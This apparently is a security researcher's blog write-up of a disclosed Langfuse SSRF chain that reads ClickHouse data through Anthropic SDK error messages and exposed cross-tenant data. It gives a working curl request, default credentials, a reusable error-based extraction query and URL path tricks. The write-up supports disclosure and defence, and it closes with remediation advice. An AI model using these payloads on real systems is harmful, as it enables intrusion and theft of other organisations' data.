August 19, 2026
A Langfuse SSRF, default ClickHouse credentials, and a novel error-based extraction technique that…
Hey everyone. Welcome back.

By Vivek Ghinaiya
11 min read
A Langfuse SSRF, default ClickHouse credentials, and a novel error-based extraction technique that leaked 56 million records across tenant boundaries.
If you're new here — I'm Vivek, a security engineer who spends most of his nights poking at web applications, looking for the kind of bugs that keep engineering teams up at night. I do bug bounties, I do pentests, and occasionally I find something that makes me sit back in my chair and just stare at my screen for a minute.
This is one of those stories.
I want to walk you through a finding that started with something completely innocent — a "Test Connection" button on a settings page — and ended with me staring at 56.5 million records of data belonging to companies I'd never heard of, sitting on a database I was never supposed to reach.
Along the way, I'll teach you a technique I haven't seen documented anywhere: error-based data extraction through LLM SDK type-casting errors. If you work with Langfuse, ClickHouse, or any AI platform that proxies LLM requests — this one's for you.
Let's get into it.
It Started With a Settings Page
I was testing an AI SaaS platform — I won't name them, they've asked me not to, and honestly they handled the disclosure really well. The platform uses Langfuse, an open-source LLM observability tool, to track and monitor their AI pipelines. Pretty standard setup.
During my recon, I found their Langfuse instance was publicly accessible. That alone isn't unusual — Langfuse is meant to have a web UI. What caught my eye was that registration was open. No invite required. No email verification. Just sign up and you're in.
So I created an account. Made an organization. Created a project. And then I landed on the settings page where you configure your LLM providers — OpenAI, Anthropic, Azure, the usual suspects.
There was a button: "Test Connection."
In security testing, "test" buttons are like unlocked doors. They exist because developers need a way to verify that a configuration works — but the implementation often trusts user input way more than it should. So I opened Burp, clicked the button, and intercepted the request.
The request was a tRPC mutation called llmApiKey.test. It accepted a few parameters:
baseURL— where the server should send the test requestsecretKey— the API key to useextraHeaders— additional HTTP headers to attachadapter— which SDK to use (openaioranthropic)
You see where this is going, right?
The baseURL had no validation. No allowlist. No blocklist for internal IPs or Docker hostnames. The server takes whatever URL you give it, initializes the LLM SDK with it, and fires off an HTTP request. Classic SSRF.
I pointed it at my Interactsh server and got a callback from the target's internal IP. Server-side request forgery confirmed.
But here's the thing — SSRF by itself? It's a medium-severity finding on most platforms. "You can hit internal hosts" doesn't scare anyone if you can't prove you read something sensitive. This was blind SSRF. I could knock on doors but I couldn't hear what was behind them.
Or so I thought.
Two SDKs, Two Different Stories
Here's where curiosity paid off.
The test function supports two adapters — openai and anthropic. I'd been testing with the OpenAI adapter. When the SSRF hit an internal service and that service returned an error, the OpenAI SDK swallowed the response body. I'd get back a generic JavaScript error. Nothing useful. Blind.
But then I switched to adapter: "anthropic".
The Anthropic SDK does something the OpenAI SDK doesn't — when it gets back a 4xx or 5xx response, it includes the full HTTP response body in the error message. It's a design choice for developer experience. You're debugging why your API key doesn't work, so the SDK shows you exactly what the server said.
For an attacker? That turns blind SSRF into fully readable SSRF.
I pointed the SSRF at ClickHouse (the database that Langfuse uses for analytics storage) with the wrong password:
// What came back through the Anthropic adapter:
{
"success": false,
"error": "401 Code: 194. DB::Exception: default: Authentication failed:
password is incorrect, or there is no user with such name."
}// What came back through the Anthropic adapter:
{
"success": false,
"error": "401 Code: 194. DB::Exception: default: Authentication failed:
password is incorrect, or there is no user with such name."
}I'm reading ClickHouse error messages through an LLM SDK. Let that sink in.
That one response told me three things: ClickHouse is running on the internal network, it's reachable from the web server, and the default user exists but needs a password. Now I needed to find that password.
The Password Was in the README
Langfuse is open source. Their docker-compose.yml is on GitHub. And right there, in plain text:
CLICKHOUSE_USER=clickhouse
CLICKHOUSE_PASSWORD=clickhouse # CHANGEMECLICKHOUSE_USER=clickhouse
CLICKHOUSE_PASSWORD=clickhouse # CHANGEMEThe # CHANGEME comment was optimistic. In production, the credentials were unchanged.
I sent the request with clickhouse:clickhouse and the response flipped from a 401 error to something new:
# Wrong password:
"401 Code: 194. DB::Exception: clickhouse: Authentication failed"
# Correct password:
"Cannot read properties of undefined (reading 'length')"# Wrong password:
"401 Code: 194. DB::Exception: clickhouse: Authentication failed"
# Correct password:
"Cannot read properties of undefined (reading 'length')"That JavaScript error — Cannot read properties of undefined (reading 'length') — doesn't look like progress. But it is. It means ClickHouse returned a 200 OK with actual data. The SDK tried to parse that data as an LLM chat completion, couldn't find the expected fields, and threw a type error. The query ran successfully. I was in.
ClickHouse also supports credentials embedded in the URL itself, which made subsequent requests cleaner:
http://clickhouse:clickhouse@clickhouse:8123/?query=...http://clickhouse:clickhouse@clickhouse:8123/?query=...One small problem though. I could talk to ClickHouse. I could run queries. But I still couldn't see the results.
I Can Run Queries But I Can't Read Them
This was the wall I hit.
Remember: the Anthropic adapter only returns response bodies on error responses — 4xx and 5xx. When a SELECT query succeeds, ClickHouse returns 200 with the results. The SDK sees the 200 status code, tries to parse the response as a chat completion object, fails internally, and gives me that useless JavaScript error.
So here I am, sitting on a fully authenticated ClickHouse connection with what turned out to be full admin privileges, and I can't read a single row of data. It's like having the keys to a vault but working in the dark.
Most researchers would file the report here. SSRF + default credentials + authenticated database access = solid high-severity finding. Walk away, write it up, collect the bounty.
But I kept thinking: the adapter does return error bodies. What if I could make ClickHouse fail on purpose, in a way that includes the data I want in the error message?
That thought changed everything.
The Breakthrough: Type Errors as a Data Channel
ClickHouse has strict typing. If you try to cast a string value to an integer type like UInt32, it doesn't silently coerce — it throws an error. And critically, the error includes the actual string value it couldn't parse:
SELECT toUInt32('hello')
-- ClickHouse responds:
Code: 6. DB::Exception: Cannot parse string 'hello' as UInt32:
syntax error at begin of string.SELECT toUInt32('hello')
-- ClickHouse responds:
Code: 6. DB::Exception: Cannot parse string 'hello' as UInt32:
syntax error at begin of string.See that? The string 'hello' — the actual data — is right there in the error message. Now replace 'hello' with a subquery that pulls a real value from a real table, and the error becomes your extraction channel.
But there's a catch. The SDK sends a POST request with a JSON body — the chat completion payload. ClickHouse receives that body and tries to parse it as input data. I needed to build a query that:
- Absorbs the SDK's JSON body so ClickHouse doesn't choke on it
- Runs a SELECT to pull real data from a table
- Forces a type error that includes that data in the error message
After a lot of trial and error, I found the magic formula:
INSERT INTO FUNCTION null('x UInt32')
SELECT toUInt32(name) FROM system.tables
WHERE database = 'default' LIMIT 1
FORMAT JSONEachRowINSERT INTO FUNCTION null('x UInt32')
SELECT toUInt32(name) FROM system.tables
WHERE database = 'default' LIMIT 1
FORMAT JSONEachRowLet me break down what each part does, because this is the core of the technique:
1
FORMAT JSONEachRow at the end tells ClickHouse to expect the POST body as JSON input. The SDK's chat completion payload — with all its messages, model, temperature fields — gets parsed as data rows.
2
INSERT INTO FUNCTION null('x UInt32') sends that parsed input into a black hole. The null() table engine accepts anything and discards it. The SDK's junk body vanishes into /dev/null.
3
The SELECT subquery executes before the INSERT. It fetches a real value — in this case, a table name from system.tables.
4
toUInt32(name) tries to cast that table name (a string) to an integer. It can't. ClickHouse throws a 400 error with the actual string value in the message.
5
The Anthropic adapter faithfully returns the 400 error body back to me. I read the extracted value.
The actual SSRF request:
curl -sk -b cookies.txt \
-X POST "https://langfuse.target.tld/api/trpc/llmApiKey.test" \
-H "Content-Type: application/json" \
-d '{"json":{
"projectId": "YOUR_PROJECT_ID",
"adapter": "anthropic",
"provider": "exfil",
"secretKey": "test",
"baseURL": "http://clickhouse:clickhouse@clickhouse:8123/?query=INSERT+INTO+FUNCTION+null(%27x+UInt32%27)+SELECT+toUInt32(name)+FROM+system.tables+WHERE+database=%27default%27+LIMIT+1+FORMAT+JSONEachRow&input_format_skip_unknown_fields=1&log_comment=",
"extraHeaders": {},
"customModels": ["test"]
}}'curl -sk -b cookies.txt \
-X POST "https://langfuse.target.tld/api/trpc/llmApiKey.test" \
-H "Content-Type: application/json" \
-d '{"json":{
"projectId": "YOUR_PROJECT_ID",
"adapter": "anthropic",
"provider": "exfil",
"secretKey": "test",
"baseURL": "http://clickhouse:clickhouse@clickhouse:8123/?query=INSERT+INTO+FUNCTION+null(%27x+UInt32%27)+SELECT+toUInt32(name)+FROM+system.tables+WHERE+database=%27default%27+LIMIT+1+FORMAT+JSONEachRow&input_format_skip_unknown_fields=1&log_comment=",
"extraHeaders": {},
"customModels": ["test"]
}}'And the response:
400 Code: 6. DB::Exception: Cannot parse string 'analytics_observations' as UInt32: syntax error at begin of string.
There it is. analytics_observations. A real table name from the production database, extracted through a type-casting error, routed through an LLM SDK, read through an SSRF.
I sat back in my chair. Then I added OFFSET 1 and ran it again. Another table name. OFFSET 2. Another one. OFFSET 3. I was walking through the entire database schema, one error at a time.
The Nullable Problem (and the Fix)
Enumerating tables and columns worked perfectly. But when I started pulling actual data from columns that stored LLM content — inputs, outputs, system prompts — I hit a new wall.
ClickHouse has a Nullable wrapper type. When a column is Nullable(String) and the value is NULL, the toUInt32() cast silently converts NULL to 0. No error. No data in the error message. My extraction channel went quiet.
The fix: assumeNotNull(). This function strips the Nullable wrapper. For real values, the type-cast error fires normally with the data. For actual NULLs, you get a different error — easy to skip and move to the next row:
-- Without assumeNotNull: NULL → 0 silently. Nothing extracted.
SELECT toUInt32(input) FROM observations LIMIT 1
-- With assumeNotNull: real values leak through the error.
SELECT toUInt32(assumeNotNull(input)) FROM observations LIMIT 1
-- → "Cannot parse string '[{\"role\": \"system\", ...}]' as UInt32"-- Without assumeNotNull: NULL → 0 silently. Nothing extracted.
SELECT toUInt32(input) FROM observations LIMIT 1
-- With assumeNotNull: real values leak through the error.
SELECT toUInt32(assumeNotNull(input)) FROM observations LIMIT 1
-- → "Cannot parse string '[{\"role\": \"system\", ...}]' as UInt32"That second response? It contained an actual LLM system prompt from a production observation. Someone's proprietary AI instructions, leaking through a type-casting error, through an LLM SDK, through an SSRF, back to my terminal.
The Extraction Formula
From this point on, every piece of data followed the same pattern:
INSERT INTO FUNCTION null('x UInt32')
SELECT toUInt32(assumeNotNull(COLUMN))
FROM TABLE
[WHERE ...]
LIMIT 1 OFFSET N
FORMAT JSONEachRowINSERT INTO FUNCTION null('x UInt32')
SELECT toUInt32(assumeNotNull(COLUMN))
FROM TABLE
[WHERE ...]
LIMIT 1 OFFSET N
FORMAT JSONEachRowChange COLUMN, TABLE, and OFFSET to walk through any table, any column, any row. One value per request. Slow — but dead reliable, and invisible to application-level monitoring since the queries run as the legitimate ClickHouse user.
What Was Behind the Door
Once the extraction technique was working, I started mapping what was actually in the database. And this is where the finding went from "bad" to "this is really bad."
I enumerated 13 tables in the default database, extracted full schemas — column names, types, everything — and then started pulling actual data to validate the breach.
What I foundScaleLLM trace records11.4 millionIndividual LLM call observations38.5 millionBlob storage references (MinIO)56.5 millionObservations with inline content12.3 millionCross-tenant projects exposed3 (2 other organizations)Distinct user emails (PII)9,870Distinct LLM models in use129
The ClickHouse instance had zero row-level tenant isolation. All tenants' data lived in the same tables, separated only by a project_id column. My extraction query could filter by any project — or skip the filter entirely and read across all of them.
Without going into specifics — the vendor asked me not to, and I respect that — the data included:
- Proprietary system prompts — the exact instructions companies embedded into their AI applications
- Business intelligence — financial analyses, competitive bidding data, and operational metrics that flowed through LLM queries
- User PII — nearly 10,000 employee email addresses across multiple organizations
- Unreleased model names — preview versions of LLM models from major providers, visible in the observation metadata
- Internal API keys — Langfuse API keys stored in trace metadata
I also confirmed write access by inserting a test row into the production traces table. The ClickHouse user had full admin privileges — SELECT, INSERT, ALTER, CREATE, DROP, TRUNCATE, CREATE USER across all databases. An attacker could inject fake data, drop tables, create backdoor users, or wipe everything.
Beyond ClickHouse, I mapped 7 internal services reachable through the SSRF — including MinIO (object storage with 56.5M objects), an internal worker service, and the Hetzner cloud metadata endpoint (IMDS).
The Fix That Didn't Fix It
I reported the finding. The vendor's engineering team confirmed and reproduced it immediately. They pushed a fix within days.
The fix: they removed the public REST endpoint (/api/public/llm-api-key/test). It started returning 404. Done, right?
Not quite. The tRPC mutation — llmApiKey.test — was the exact same function, just mounted on the authenticated tRPC router. Same SSRF. Same ClickHouse access. Same extraction technique. The ClickHouse password hadn't been changed either.
This is a pattern I see over and over again: fixing the route instead of the function. The vulnerability wasn't in the URL path. It was in the fact that baseURL accepts arbitrary values and the server fetches them without validation. Removing one route while leaving another route to the same function is like locking the front door while leaving the garage open.
I reported the bypass. They're working on a proper fix now.
The Full Chain
Here's the complete attack path, from zero access to full database breach:
Register on Langfuse (open, no email verification) | v Create org + project (instant) | v llmApiKey.test SSRF (adapter: anthropic) | v ClickHouse auth (default creds from docker-compose) | v Error-based extraction (toUInt32 + null() + assumeNotNull) | v Cross-tenant data breach (56.5M records, 3 projects)
Every step uses either no authentication or credentials the attacker creates themselves. No social engineering. No brute force. No phishing. No zero-days. The entire chain exploits application logic and default configurations that shipped with the product.
The CVE is CVE-2026–41487 (GHSA-2524-j966-gfgh), covering the Langfuse LLM API key exfiltration vector.
Bonus: Path Control Tricks for SDK-Based SSRF
One thing I glossed over earlier — each LLM SDK appends its own API path to your baseURL. OpenAI adds /v1/chat/completions, Anthropic adds /v1/messages. If you're trying to hit a specific path on an internal service, those suffixes get in the way.
Two tricks that work:
Fragment trick (OpenAI adapter): Append # to your URL. Everything after the fragment identifier is stripped by the HTTP client before the request is sent:
baseURL: "http://clickhouse:8123/?query=SELECT+version()#"
Actual: POST http://clickhouse:8123/?query=SELECT+version()
// The #/v1/chat/completions is treated as a fragment and droppedbaseURL: "http://clickhouse:8123/?query=SELECT+version()#"
Actual: POST http://clickhouse:8123/?query=SELECT+version()
// The #/v1/chat/completions is treated as a fragment and droppedQuery parameter trick (Anthropic adapter): End your URL with &x= so the appended path becomes a harmless query parameter:
baseURL: "http://clickhouse:8123/?query=SELECT+1&x="
Actual: POST http://clickhouse:8123/?query=SELECT+1&x=/v1/messages
// The appended path is absorbed as the value of parameter 'x'baseURL: "http://clickhouse:8123/?query=SELECT+1&x="
Actual: POST http://clickhouse:8123/?query=SELECT+1&x=/v1/messages
// The appended path is absorbed as the value of parameter 'x'These tricks are useful any time you're exploiting SSRF through an SDK that appends its own path.
What I Want You to Take Away
If you're a developer deploying Langfuse (or any LLM platform)
- Change every default credential before going to production. Langfuse marks them with
# CHANGEME— but nothing enforces it. If your docker-compose still hasclickhouse:clickhouse, fix that today. - Network-segment your data stores. ClickHouse, MinIO, and Redis should not be reachable from the web-facing container. Even with SSRF protection, defense in depth matters.
- Validate URLs server-side. Any function that makes HTTP requests to user-supplied URLs needs allowlist validation. Block internal IP ranges, Docker hostnames, cloud metadata endpoints (169.254.169.254), and link-local addresses.
- Don't trust SDK error handling for security. LLM SDKs are designed for developer experience, not security boundaries. The Anthropic SDK includes response bodies in errors because it helps developers debug — but it also creates data exfiltration channels you might not expect.
If you're a security researcher
- Always test both adapters. Same endpoint, same SSRF — but switching from
openaitoanthropicturned blind SSRF into readable SSRF. When a platform supports multiple LLM providers, test every single one. - Error messages are data channels. If you can control input to a function that produces descriptive errors, you can extract data through those errors. This applies to SQL type casting, XML parsing, JSON schema validation — anything that echoes your input in the error.
FORMAT JSONEachRowabsorbs POST bodies. In ClickHouse, this format directive lets you run queries through endpoints that force a POST body on you (like an LLM SDK). It's the trick that makes the extraction technique possible.- Don't stop at blind SSRF. The difference between a medium-severity blind SSRF report and a CVSS 9.8 full-breach report was one technique. The SSRF was the door. The type-casting trick was the key to the vault. If you find an SSRF, spend the extra hours trying to make it talk.
If this was useful, follow me for more technical writeups. I share real findings from real engagements — no fluff, no hype, just the work.
Happy hunting.